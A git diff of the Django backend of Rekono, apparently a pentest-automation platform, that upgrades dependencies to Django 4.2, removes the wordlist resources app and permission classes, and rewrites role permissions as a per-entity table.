-TIME_ZONE = 'CET' +TIME_ZONE = "UTC" USE_I18N = True -USE_L10N = True - USE_TZ = True # Static files (CSS, JavaScript, Images) -# https://docs.djangoproject.com/en/3.2/howto/static-files/ +# https://docs.djangoproject.com/en/4.2/howto/static-files/ -STATIC_URL = '/static/' -STATIC_ROOT = os.path.join(REKONO_HOME, 'static') +STATIC_URL = "static/" +STATIC_ROOT = os.path.join(CONFIG.home, "static") # Default primary key field type -# https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field +# https://docs.djangoproject.com/en/4.2/ref/settings/#default-auto-field -DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' +DEFAULT_AUTO_FIELD = "django.db.models.BigAutoField" diff --git a/src/backend/rekono/urls.py b/src/backend/rekono/urls.py index af21665ff..f506b9086 100644 --- a/src/backend/rekono/urls.py +++ b/src/backend/rekono/urls.py @@ -1,8 +1,8 @@ -'''rekono URL Configuration. +""" +URL configuration for rekono project. The `urlpatterns` list routes URLs to views. For more information please see: - https://docs.djangoproject.com/en/3.2/topics/http/urls/ - + https://docs.djangoproject.com/en/4.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views @@ -13,33 +13,38 @@ Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) -''' +""" from django.contrib import admin from django.urls import include, path -from drf_spectacular.views import (SpectacularAPIView, SpectacularRedocView, - SpectacularSwaggerView) +from drf_spectacular.views import ( + SpectacularAPIView, + SpectacularRedocView, + SpectacularSwaggerView, +) from rest_framework.urlpatterns import format_suffix_patterns -# Register your views here. - urlpatterns = [ - path('admin/', admin.site.urls), # Admin site - path('api/', include('authentications.urls')), # Rekono API Rest - path('api/', include('executions.urls')), - path('api/', include('findings.urls')), - path('api/', include('parameters.urls')), - path('api/', include('processes.urls')), - path('api/', include('projects.urls')), - path('api/', include('resources.urls')), - path('api/', include('security.urls')), - path('api/', include('system.urls')), - path('api/', include('targets.urls')), - path('api/', include('tasks.urls')), - path('api/', include('tools.urls')), - path('api/', include('users.urls')), - path('api/schema/', SpectacularAPIView.as_view(), name='schema'), # Download OpenAPI specification - path('api/schema/swagger-ui/', SpectacularSwaggerView.as_view(url_name='schema'), name='swagger-ui'), # Swagger-UI - path('api/schema/redoc/', SpectacularRedocView.as_view(url_name='schema'), name='redoc') # Redoc + path("admin/", admin.site.urls), + path("api/", include("authentications.urls")), + path("api/", include("projects.urls")), + path("api/", include("parameters.urls")), + path("api/", include("target_ports.urls")), + path("api/", include("targets.urls")), + path("api/", include("wordlists.urls")), + # OpenAPI specification + path("api/schema/", SpectacularAPIView.as_view(), name="schema"), + # Swagger-UI + path( + "api/schema/swagger-ui/", + SpectacularSwaggerView.as_view(url_name="schema"), + name="swagger-ui", + ), + # Redoc + path( + "api/schema/redoc/", + SpectacularRedocView.as_view(url_name="schema"), + name="redoc", + ), ] urlpatterns = format_suffix_patterns(urlpatterns) diff --git a/src/backend/rekono/wsgi.py b/src/backend/rekono/wsgi.py index 0a34ccf3f..58824f92c 100644 --- a/src/backend/rekono/wsgi.py +++ b/src/backend/rekono/wsgi.py @@ -1,15 +1,16 @@ -'''WSGI config for rekono project. +""" +WSGI config for rekono project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see -https://docs.djangoproject.com/en/3.2/howto/deployment/wsgi/ -''' +https://docs.djangoproject.com/en/4.2/howto/deployment/wsgi/ +""" import os from django.core.wsgi import get_wsgi_application -os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'rekono.settings') +os.environ.setdefault("DJANGO_SETTINGS_MODULE", "rekono.settings") application = get_wsgi_application() diff --git a/src/backend/requirements-dev.txt b/src/backend/requirements-dev.txt new file mode 100644 index 000000000..96072aaa8 --- /dev/null +++ b/src/backend/requirements-dev.txt @@ -0,0 +1,4 @@ +-r requirements.txt +black==23.7.0 +coverage==7.2.7 +mypy==1.4.1 \ No newline at end of file diff --git a/src/backend/requirements.txt b/src/backend/requirements.txt index 465582fe1..8241043c1 100644 --- a/src/backend/requirements.txt +++ b/src/backend/requirements.txt @@ -1,21 +1,20 @@ -coverage==6.3.1 defusedxml==0.7.1 -Django==3.2.19 -djangorestframework==3.12.4 +Django==4.2.3 +djangorestframework==3.14.0 djangorestframework-simplejwt==5.2.2 -django-filter==21.1 -django-rq==2.4.1 -django-taggit==2.0.0 -drf-spectacular==0.25.1 -pycryptodome==3.11.0 -psycopg2==2.9.5 -pyjwt==2.4.0 -python-magic==0.4.24 +django-filter==23.2 +django-rq==2.8.1 +django-taggit==4.0.0 +drf-spectacular==0.26.3 +pycryptodome==3.18.0 +psycopg2-binary==2.9.6 +pyjwt==2.7.0 +python-magic==0.4.27 python-libnmap==0.7.3 -python-telegram-bot==13.7 +python-telegram-bot==20.4 pyyaml==6.0.0 requests==2.31.0 -rq==1.13.0 -setuptools==65.6.3 +rq==1.15.1 +setuptools==68.0.0 stringcase==1.2.0 tornado==6.3.2 \ No newline at end of file diff --git a/src/backend/resources/__init__.py b/src/backend/resources/__init__.py deleted file mode 100644 index 0b1e68d0d..000000000 --- a/src/backend/resources/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Resources.''' diff --git a/src/backend/resources/admin.py b/src/backend/resources/admin.py deleted file mode 100644 index 13694d418..000000000 --- a/src/backend/resources/admin.py +++ /dev/null @@ -1,6 +0,0 @@ -from django.contrib import admin -from resources.models import Wordlist - -# Register your models here. - -admin.site.register(Wordlist) diff --git a/src/backend/resources/apps.py b/src/backend/resources/apps.py deleted file mode 100644 index 3c098f365..000000000 --- a/src/backend/resources/apps.py +++ /dev/null @@ -1,41 +0,0 @@ -import os -from pathlib import Path -from typing import Any - -from django.apps import AppConfig -from django.core import management -from django.core.management.commands import loaddata -from django.db.models.signals import post_migrate - - -class ResourcesConfig(AppConfig): - '''Resources Django application.''' - - name = 'resources' - - def ready(self) -> None: - '''Run code as soon as the registry is fully populated.''' - # Configure fixtures to be loaded after migration - post_migrate.connect(self.load_resources_model, sender=self) - post_migrate.connect(self.update_default_wordlists_size, sender=self) - - def load_resources_model(self, **kwargs: Any) -> None: - '''Load input types fixtures in database.''' - from resources.models import Wordlist - if Wordlist.objects.exists(): # Check if default data is loaded - return - path = os.path.join(Path(__file__).resolve().parent, 'fixtures') # Path to fixtures directory - management.call_command( - loaddata.Command(), - os.path.join(path, '1_wordlists.json') # Input type entities - ) - self.update_default_wordlists_size() - - def update_default_wordlists_size(self, **kwargs: Any) -> None: - '''Update default wordlists size.''' - from resources.models import Wordlist - for wordlist in Wordlist.objects.all().filter(size=None): # For each default wordlist - if os.path.isfile(wordlist.path) and os.access(wordlist.path, os.R_OK): # If wordlist path exist - with open(wordlist.path, 'rb+') as wordlist_file: # Open uploaded file - wordlist.size = len(wordlist_file.readlines()) # Count entries from uploaded file - wordlist.save(update_fields=['size']) diff --git a/src/backend/resources/filters.py b/src/backend/resources/filters.py deleted file mode 100644 index 066345e17..000000000 --- a/src/backend/resources/filters.py +++ /dev/null @@ -1,22 +0,0 @@ -from django_filters.rest_framework import filters -from likes.filters import LikeFilter - -from resources.models import Wordlist - - -class WordlistFilter(LikeFilter): - '''FilterSet to filter and sort Wordlist entities.''' - - o = filters.OrderingFilter(fields=('name', 'type', 'creator', 'likes_count')) # Ordering fields - - class Meta: - '''FilterSet metadata.''' - - model = Wordlist - fields = { # Filter fields - 'name': ['exact', 'icontains'], - 'type': ['exact'], - 'creator': ['exact'], - 'creator__username': ['exact', 'icontains'], - 'size': ['gte', 'lte', 'exact'], - } diff --git a/src/backend/resources/migrations/0001_initial.py b/src/backend/resources/migrations/0001_initial.py deleted file mode 100644 index c4512d7d7..000000000 --- a/src/backend/resources/migrations/0001_initial.py +++ /dev/null @@ -1,31 +0,0 @@ -# Generated by Django 3.2.12 on 2022-03-20 11:45 - -from django.db import migrations, models -import input_types.base -import security.input_validation - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - ] - - operations = [ - migrations.CreateModel( - name='Wordlist', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('name', models.TextField(max_length=100, unique=True, validators=[security.input_validation.validate_name])), - ('type', models.TextField(choices=[('Password', 'Password'), ('Endpoint', 'Endpoint')], max_length=10)), - ('path', models.TextField(max_length=200, unique=True)), - ('checksum', models.TextField(blank=True, max_length=128, null=True)), - ('size', models.IntegerField(blank=True, null=True)), - ], - options={ - 'abstract': False, - }, - bases=(models.Model, input_types.base.BaseInput), - ), - ] diff --git a/src/backend/resources/migrations/0002_initial.py b/src/backend/resources/migrations/0002_initial.py deleted file mode 100644 index f45e88bbe..000000000 --- a/src/backend/resources/migrations/0002_initial.py +++ /dev/null @@ -1,28 +0,0 @@ -# Generated by Django 3.2.12 on 2022-03-20 11:45 - -from django.conf import settings -from django.db import migrations, models -import django.db.models.deletion - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - migrations.swappable_dependency(settings.AUTH_USER_MODEL), - ('resources', '0001_initial'), - ] - - operations = [ - migrations.AddField( - model_name='wordlist', - name='creator', - field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL), - ), - migrations.AddField( - model_name='wordlist', - name='liked_by', - field=models.ManyToManyField(related_name='liked_wordlist', to=settings.AUTH_USER_MODEL), - ), - ] diff --git a/src/backend/resources/migrations/0003_alter_wordlist_type.py b/src/backend/resources/migrations/0003_alter_wordlist_type.py deleted file mode 100644 index 421b1b1ea..000000000 --- a/src/backend/resources/migrations/0003_alter_wordlist_type.py +++ /dev/null @@ -1,18 +0,0 @@ -# Generated by Django 3.2.16 on 2023-01-08 12:56 - -from django.db import migrations, models - - -class Migration(migrations.Migration): - - dependencies = [ - ('resources', '0002_initial'), - ] - - operations = [ - migrations.AlterField( - model_name='wordlist', - name='type', - field=models.TextField(choices=[('Endpoint', 'Endpoint'), ('Subdomain', 'Subdomain')], max_length=10), - ), - ] diff --git a/src/backend/resources/migrations/__init__.py b/src/backend/resources/migrations/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/src/backend/resources/models.py b/src/backend/resources/models.py deleted file mode 100644 index 4b8c0dd9f..000000000 --- a/src/backend/resources/models.py +++ /dev/null @@ -1,63 +0,0 @@ -import os -from typing import Any, Dict, cast - -from django.conf import settings -from django.db import models -from input_types.base import BaseInput -from input_types.enums import InputKeyword -from likes.models import LikeBase -from security.file_upload import check_checksum -from security.input_validation import validate_name -from tools.models import Input - -from resources.enums import WordlistType - -# Create your models here. - - -class Wordlist(LikeBase, BaseInput): - '''Wordlist model.''' - - name = models.TextField(max_length=100, unique=True, validators=[validate_name]) # Wordlist name - type = models.TextField(max_length=10, choices=WordlistType.choices) # Wordlist type - path = models.TextField(max_length=200, unique=True) # Wordlist file path - checksum = models.TextField(max_length=128, blank=True, null=True) # Wordlist file hash - size = models.IntegerField(blank=True, null=True) # Number of entries in the wordlist file - # User that created the wordlist - creator = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.SET_NULL, blank=True, null=True) - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - return self.name - - def filter(self, input: Input) -> bool: - '''Check if this instance is valid based on input filter. - - Args: - input (Input): Tool input whose filter will be applied - - Returns: - bool: Indicate if this instance match the input filter or not - ''' - check = os.path.isfile(self.path) # Check if wordlist file exists - if check and self.checksum: # If checksum exists - check = check and check_checksum(self.path, self.checksum) # Check wordlist file hash - if input.filter: # If input filter is established - # Check wordlist type - check = check and self.type == cast(Dict[str, str], WordlistType)[input.filter.upper()] - return check - - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: - '''Get useful information from this instance to be used in tool execution as argument. - - Args: - accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. - - Returns: - Dict[str, Any]: Useful information for tool executions, including accumulated if setted - ''' - return {InputKeyword.WORDLIST.name.lower(): self.path} diff --git a/src/backend/resources/serializers.py b/src/backend/resources/serializers.py deleted file mode 100644 index 4368b06c0..000000000 --- a/src/backend/resources/serializers.py +++ /dev/null @@ -1,73 +0,0 @@ -import os -import uuid -from typing import Any, Dict - -from likes.serializers import LikeBaseSerializer -from resources.models import Wordlist -from rest_framework import serializers -from security import file_upload -from users.serializers import SimplyUserSerializer - -from rekono.settings import WORDLIST_DIR - - -class WordlistSerializer(serializers.ModelSerializer, LikeBaseSerializer): - '''Serializer to manage wordlists via API.''' - - # Wordlist file, to allow the wordlist files upload to the server - file = serializers.FileField(required=True, allow_empty_file=False, write_only=True) - creator = SimplyUserSerializer(many=False, read_only=True) # Creator details for read operations - - class Meta: - '''Serializer metadata.''' - - model = Wordlist - # Wordlist fields exposed via API - fields = ('id', 'name', 'type', 'path', 'file', 'checksum', 'size', 'creator', 'liked', 'likes') - read_only_fields = ('creator',) # Read only field - # Parameters used in write operations, but they will be generated automatically from uploaded file - extra_kwargs = { - 'path': {'write_only': True, 'required': False}, - 'checksum': {'write_only': True, 'required': False}, - } - - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - '''Validate the provided data before use it. - - Args: - attrs (Dict[str, Any]): Provided data - - Raises: - ValidationError: Raised if provided data is invalid - - Returns: - Dict[str, Any]: Data after validation process - ''' - attrs = super().validate(attrs) # Original data validation - file_upload.validate(attrs['file'], ['txt', 'text', ''], ['text/plain']) # Validate the uploaded file type - return attrs - - def save(self, **kwargs: Any) -> Wordlist: - '''Save changes in instance. - - Returns: - Wordlist: Instance after apply changes - ''' - self.validated_data['path'] = os.path.join(WORDLIST_DIR, f'{str(uuid.uuid4())}.txt') # Generate filename - self.validated_data['checksum'] = file_upload.store_file( # Store uploaded file in server - self.validated_data.pop('file'), - self.validated_data['path'] - ) - with open(self.validated_data['path'], 'rb+') as wordlist_file: # Open uploaded file - self.validated_data['size'] = len(wordlist_file.readlines()) # Count entries from uploaded file - return super().save(**kwargs) - - -class UpdateWordlistSerializer(serializers.ModelSerializer): - '''Serializer to update wordlists via API.''' - - class Meta: - '''Serializer metadata.''' - - model = Wordlist - fields = ('id', 'name', 'type') # Wordlist fields exposed via API diff --git a/src/backend/resources/views.py b/src/backend/resources/views.py deleted file mode 100644 index de282a4bb..000000000 --- a/src/backend/resources/views.py +++ /dev/null @@ -1,36 +0,0 @@ -from api.views import CreateWithUserViewSet -from likes.views import LikeManagementView -from rest_framework.permissions import DjangoModelPermissions, IsAuthenticated -from rest_framework.serializers import Serializer -from rest_framework.viewsets import ModelViewSet -from security.authorization.permissions import WordlistCreatorPermission - -from resources.filters import WordlistFilter -from resources.models import Wordlist -from resources.serializers import UpdateWordlistSerializer, WordlistSerializer - -# Create your views here. - - -class WordlistViewSet(CreateWithUserViewSet, ModelViewSet, LikeManagementView): - '''Wordlist ViewSet that includes: get, retrieve, create, update, delete, like and dislike features.''' - - queryset = Wordlist.objects.all().order_by('-id') - serializer_class = WordlistSerializer - filterset_class = WordlistFilter - search_fields = ['name'] # Fields used to search projects - http_method_names = ['get', 'post', 'put', 'delete'] # Required to remove PATCH method - # Required to include the WordlistCreatorPermission and remove unneeded ProjectMemberPermission - permission_classes = [IsAuthenticated, DjangoModelPermissions, WordlistCreatorPermission] - user_field = 'creator' - - def get_serializer_class(self) -> Serializer: - '''Get serializer class to use in each request. - - Returns: - Serializer: Properly serializer to use, - ''' - if self.request.method == 'PUT': # If PUT request method - # Use specific serializer for wordlist update - return UpdateWordlistSerializer - return super().get_serializer_class() # Otherwise, standard serializer diff --git a/src/backend/security/__init__.py b/src/backend/security/__init__.py index 29d8803c4..e69de29bb 100644 --- a/src/backend/security/__init__.py +++ b/src/backend/security/__init__.py @@ -1 +0,0 @@ -'''Common security configuration and utilities.''' diff --git a/src/backend/security/apps.py b/src/backend/security/apps.py index 2a6991887..d622f5bef 100644 --- a/src/backend/security/apps.py +++ b/src/backend/security/apps.py @@ -1,7 +1,30 @@ from django.apps import AppConfig +from typing import Any +from security.authorization.roles import get_roles +from django.db.models.signals import post_migrate class SecurityConfig(AppConfig): - '''Security Django application.''' + name = "security" - name = 'security' + def ready(self) -> None: + """Run code as soon as the registry is fully populated.""" + # Initialize user groups based on permissions after migration + post_migrate.connect(self.initialize_user_groups, sender=self) + + def initialize_user_groups(self, **kwargs: Any) -> None: + """Initialize user groups in database.""" + # Get Group model + group_model = kwargs["apps"].get_model(app_label="auth", model_name="group") + # Get permission model + permission_model = kwargs["apps"].get_model( + app_label="auth", model_name="permission" + ) + for role, permissions in get_roles().items(): + group, _ = group_model.objects.get_or_create(name=str(role)) # Create group + permission_set = [] + for permission_id in permissions: # For each permission + # Get permission model + permission = permission_model.objects.get(codename=permission_id) + permission_set.append(permission) + group.permissions.set(permission_set) # Assignate permissions to the group diff --git a/src/backend/security/authorization/__init__.py b/src/backend/security/authorization/__init__.py index 37c15f273..a01146044 100644 --- a/src/backend/security/authorization/__init__.py +++ b/src/backend/security/authorization/__init__.py @@ -1 +1 @@ -'''Security authorization module.''' +"""Security authorization module.""" diff --git a/src/backend/security/authorization/permissions.py b/src/backend/security/authorization/permissions.py deleted file mode 100644 index 38ddb8179..000000000 --- a/src/backend/security/authorization/permissions.py +++ /dev/null @@ -1,145 +0,0 @@ -from typing import Any - -from processes.models import Process, Step -from resources.models import Wordlist -from rest_framework.permissions import BasePermission -from rest_framework.request import Request -from rest_framework.views import View -from security.authorization.roles import Role - - -class IsNotAuthenticated(BasePermission): - '''Check if current user is not authenticated.''' - - def has_permission(self, request: Request, view: View) -> bool: - '''Check if current user is not authenticated. - - Args: - request (Request): HTTP request - view (View): View that user is accessing - - Returns: - bool: Indicate if user is authorized to make this request or not - ''' - return not request.user.is_authenticated - - -class IsAdmin(BasePermission): - '''Check if current user is an administrator.''' - - def has_permission(self, request: Request, view: View) -> bool: - '''Check if current user is an administrator. - - Args: - request (Request): HTTP request - view (View): View that user is accessing - - Returns: - bool: Indicate if user is authorized to make this request or not - ''' - return bool(request.user.groups.filter(name=str(Role.ADMIN)).exists()) - - -class IsAuditor(BasePermission): - '''Check if current user is an auditor (Admin or Auditor roles).''' - - def has_permission(self, request: Request, view: View) -> bool: - '''Check if current user is an auditor (Admin or Auditor roles). - - Args: - request (Request): HTTP request - view (View): View that user is accessing - - Returns: - bool: Indicate if user is authorized to make this request or not - ''' - return ( - bool(request.user.groups.filter(name=str(Role.AUDITOR)).exists()) or - IsAdmin().has_permission(request, view) - ) - - -class ProjectMemberPermission(BasePermission): - '''Check if current user can access an object based on project membership.''' - - def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: - '''Check if current user can access some entities based on project membership. - - Args: - request (Request): HTTP request - view (View): View that user is accessing - obj (Any): Object that user is accesing - - Returns: - bool: Indicate if user is authorized to make this request or not - ''' - # Check if current user is a project member - return request.user in obj.get_project().members.all() - - -class BaseCreatorPermission(BasePermission): - '''Check if current user can access an object based on HTTP method and creator user.''' - - def get_instance(self, obj: Any) -> Any: # pragma: no cover - '''Get object with creator user from object accessed by the current user. To be implemented by subclasses. - - Args: - obj (Any): Object that user is accessing - - Returns: - Any: Object with creator user - ''' - pass - - def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: - '''Check if current user can access an object based on HTTP method and creator user. - - Args: - request (Request): HTTP request - view (View): View that user is accessing - obj (Any): Object that user is accesing - - Returns: - bool: Indicate if user is authorized to make this request or not - ''' - instance = self.get_instance(obj) # Get object with creator user - if ( - instance and # Instance exists - not IsAdmin().has_permission(request, view) and # Non admin users - request.method in ['POST', 'PUT', 'DELETE'] and # Write operations - instance.creator != request.user # Non creator user - ): - return False # Access denied - return True - - -class ProcessCreatorPermission(BaseCreatorPermission): - '''Check if current user can access a Process or Step based on HTTP method and creator user.''' - - def get_instance(self, obj: Any) -> Any: - '''Get object with creator user from object accessed by the current user. - - Args: - obj (Any): Object that user is accessing - - Returns: - Any: Object with creator user - ''' - if isinstance(obj, Process): - return obj - return obj.process if isinstance(obj, Step) else None - - -class WordlistCreatorPermission(BaseCreatorPermission): - '''Check if current user can access a Wordlist based on HTTP method and creator user.''' - - def get_instance(self, obj: Any) -> Any: - '''Get object with creator user from object accessed by the current user. - - Args: - obj (Any): Object that user is accessing - - Returns: - Any: Object with creator user - ''' - return obj if isinstance(obj, Wordlist) else None diff --git a/src/backend/security/authorization/roles.py b/src/backend/security/authorization/roles.py index 3d95fc149..9818535c2 100644 --- a/src/backend/security/authorization/roles.py +++ b/src/backend/security/authorization/roles.py @@ -1,79 +1,188 @@ from django.db import models +from typing import Dict, List class Role(models.TextChoices): - '''User role names.''' + """User role names.""" + ADMIN = "Admin" + AUDITOR = "Auditor" + READER = "Reader" - ADMIN = 'Admin' - AUDITOR = 'Auditor' - READER = 'Reader' - -# Permission association for each user role -ROLES = { - Role.ADMIN: [ - 'add_user', 'change_user', 'delete_user', 'view_user', # Users - 'add_project', 'change_project', 'delete_project', 'view_project', # Projects - 'add_target', 'delete_target', 'view_target', # Targets - 'add_targetport', 'delete_targetport', 'view_targetport', # Target ports - 'add_task', 'delete_task', 'view_task', # Tasks - 'view_execution', # Executions - 'add_osint', 'delete_osint', 'view_osint', # OSINT - 'add_host', 'delete_host', 'view_host', # Hosts - 'add_port', 'delete_port', 'view_port', # Ports - 'add_path', 'delete_path', 'view_path', # Paths - 'add_technology', 'delete_technology', 'view_technology', # Technologies - 'add_vulnerability', 'change_vulnerability', 'delete_vulnerability', 'view_vulnerability', # Vulnerabilities - 'add_credential', 'delete_credential', 'view_credential', # Credentials - 'add_exploit', 'delete_exploit', 'view_exploit', # Exploits - 'add_process', 'change_process', 'delete_process', 'view_process', # Processes - 'add_step', 'change_step', 'delete_step', 'view_step', # Steps - 'view_tool', # Tools - 'view_intensity', # Intensities - 'view_configuration', # Configurations - 'view_input', # Inputs - 'view_output', # Outputs - 'add_wordlist', 'change_wordlist', 'delete_wordlist', 'view_wordlist', # Wordlists - 'view_system', 'change_system', # System - ], - Role.AUDITOR: [ - 'view_project', # Projects - 'add_target', 'delete_target', 'view_target', # Targets - 'add_targetport', 'delete_targetport', 'view_targetport', # Target ports - 'add_task', 'delete_task', 'view_task', # Tasks - 'view_execution', # Executions - 'add_osint', 'delete_osint', 'view_osint', # OSINT - 'add_host', 'delete_host', 'view_host', # Hosts - 'add_port', 'delete_port', 'view_port', # Ports - 'add_path', 'delete_path', 'view_path', # Paths - 'add_technology', 'delete_technology', 'view_technology', # Technologies - 'add_vulnerability', 'change_vulnerability', 'delete_vulnerability', 'view_vulnerability', # Vulnerabilities - 'add_credential', 'delete_credential', 'view_credential', # Credentials - 'add_exploit', 'delete_exploit', 'view_exploit', # Exploits - 'add_process', 'change_process', 'delete_process', 'view_process', # Processes - 'add_step', 'change_step', 'delete_step', 'view_step', # Steps - 'view_tool', # Tools - 'view_intensity', # Intensities - 'view_configuration', # Configurations - 'view_input', # Inputs - 'view_output', # Outputs - 'add_wordlist', 'change_wordlist', 'delete_wordlist', 'view_wordlist', # Wordlists - 'view_system', # System - ], - Role.READER: [ - 'view_project', # Projects - 'view_target', # Targets - 'view_targetport', # Target ports - 'view_task', # Tasks - 'view_execution', # Executions - 'view_osint', # OSINT - 'view_host', # Hosts - 'view_port', # Ports - 'view_path', # Paths - 'view_technology', # Technologies - 'view_vulnerability', # Vulnerabilities - 'view_credential', # Credentials - 'view_exploit', # Exploits - 'view_system', # System - ] +PERMISSIONS = { + "user": { + "view": [Role.ADMIN], + "add": [Role.ADMIN], + "change": [Role.ADMIN], + "delete": [Role.ADMIN], + }, + "project": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [Role.ADMIN], + "change": [Role.ADMIN], + "delete": [Role.ADMIN], + }, + "target": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [Role.ADMIN, Role.AUDITOR], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "targetport": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [Role.ADMIN, Role.AUDITOR], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "task": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [Role.ADMIN, Role.AUDITOR], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "execution": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [], + "delete": [], + }, + "osint": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "host": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "port": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "path": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "technology": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "vulnerability": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "credential": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "exploit": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "process": { + "view": [Role.ADMIN, Role.AUDITOR], + "add": [Role.ADMIN, Role.AUDITOR], + "change": [Role.ADMIN, Role.AUDITOR], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "step": { + "view": [Role.ADMIN, Role.AUDITOR], + "add": [Role.ADMIN, Role.AUDITOR], + "change": [Role.ADMIN, Role.AUDITOR], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "tool": { + "view": [Role.ADMIN, Role.AUDITOR], + "add": [], + "change": [], + "delete": [], + }, + "intensity": { + "view": [Role.ADMIN, Role.AUDITOR], + "add": [], + "change": [], + "delete": [], + }, + "configuration": { + "view": [Role.ADMIN, Role.AUDITOR], + "add": [], + "change": [], + "delete": [], + }, + "input": { + "view": [Role.ADMIN, Role.AUDITOR], + "add": [], + "change": [], + "delete": [], + }, + "output": { + "view": [Role.ADMIN, Role.AUDITOR], + "add": [], + "change": [], + "delete": [], + }, + "wordlist": { + "view": [Role.ADMIN, Role.AUDITOR], + "add": [Role.ADMIN, Role.AUDITOR], + "change": [Role.ADMIN, Role.AUDITOR], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "system": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [Role.ADMIN], + "delete": [], + }, + "inputtype": { + "view": [], + "add": [], + "change": [], + "delete": [], + }, + "authentication": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [Role.ADMIN, Role.AUDITOR], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "inputtechnology": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [Role.ADMIN, Role.AUDITOR], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "inputvulnerability": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [Role.ADMIN, Role.AUDITOR], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR], + }, } + + +def get_roles() -> Dict[Role, List[str]]: + roles = { + Role.ADMIN: [], + Role.AUDITOR: [], + Role.READER: [], + } + for entity, permissions in PERMISSIONS.items(): + for permission, assigned_roles in permissions.items(): + for assigned_role in assigned_roles: + roles[assigned_role].append(f"{entity}_{permission}") + return roles diff --git a/src/backend/security/crypto.py b/src/backend/security/crypto.py index 185a6219a..acf77a357 100644 --- a/src/backend/security/crypto.py +++ b/src/backend/security/crypto.py @@ -4,24 +4,24 @@ def generate_random_value(size: int) -> str: - '''Generate a secure random value. + """Generate a secure random value. Args: size (int): Size of the secure random value Returns: str: Secure random value - ''' - return ''.join(secrets.choice(string.printable) for _ in range(size)) + """ + return "".join(secrets.choice(string.printable) for _ in range(size)) def hash(value: str) -> str: - '''Calculate the hash value from a plain value using the SHA-512 algorithm. + """Calculate the hash value from a plain value using the SHA-512 algorithm. Args: value (str): Plain value Returns: str: Hash value - ''' + """ return hashlib.sha512(value.encode()).hexdigest() diff --git a/src/backend/security/csp_header.py b/src/backend/security/csp_header.py deleted file mode 100644 index f33bd8ac1..000000000 --- a/src/backend/security/csp_header.py +++ /dev/null @@ -1,51 +0,0 @@ -from typing import Any, Dict - -# CSP for the API Rest -api = "default-src 'none'; base-uri 'none'; object-src 'none'; frame-ancestors 'none'" -# CSP for the Swagger-UI -swagger = ( - "default-src 'none'; base-uri 'none'; object-src 'none'; frame-ancestors 'none'; " - # 'unsafe-inline' required due to a inline script with hardcoded dynamic CSRF token, so its hash changes - "script-src http://cdn.jsdelivr.net 'unsafe-inline'; " - "style-src http://cdn.jsdelivr.net https://fonts.googleapis.com; " - "img-src data: http://cdn.jsdelivr.net; " - "connect-src 'self'; " -) -# CSP for Redoc -redoc = ( - "default-src 'none'; base-uri 'none'; object-src 'none'; frame-ancestors 'none'; " - "script-src http://cdn.jsdelivr.net; " - "style-src http://cdn.jsdelivr.net https://fonts.googleapis.com " - "'sha256-47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=' " - "'sha256-m6OsjZ+ZE+8plS5r0wBVuIy/qbXuHEw//v/OhLyy9Xg='; " - "img-src data: http://cdn.jsdelivr.net; " - "font-src fonts.gstatic.com; " - "worker-src blob:; " - "child-src blob:; 